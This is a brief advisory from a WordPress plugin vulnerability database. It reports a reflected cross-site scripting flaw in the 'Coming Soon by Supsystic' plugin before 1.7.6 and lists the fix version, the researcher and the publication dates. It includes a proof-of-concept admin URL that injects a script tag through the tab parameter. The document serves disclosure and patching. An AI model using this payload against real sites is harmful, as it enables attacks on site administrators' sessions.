WordPress Plugin Vulnerabilities
Coming Soon by Supsystic < 1.7.6 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the tab parameter before outputting it back in an attribute in the admin dashboard, leading to a Reflected Cross-Site Scripting
Proof of Concept
https://example.com/wp-admin/admin.php?page=coming-soon-supsystic&tab="><script>alert(/XSS/)</script>
Affects Plugins
Fixed in version 1.7.6
References
Classification
Miscellaneous
Original Researcher
0xB9
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-05-24 (about 1 years ago)
Added
2022-04-04 (about 8 months ago)
Last Updated
2022-04-09 (about 8 months ago)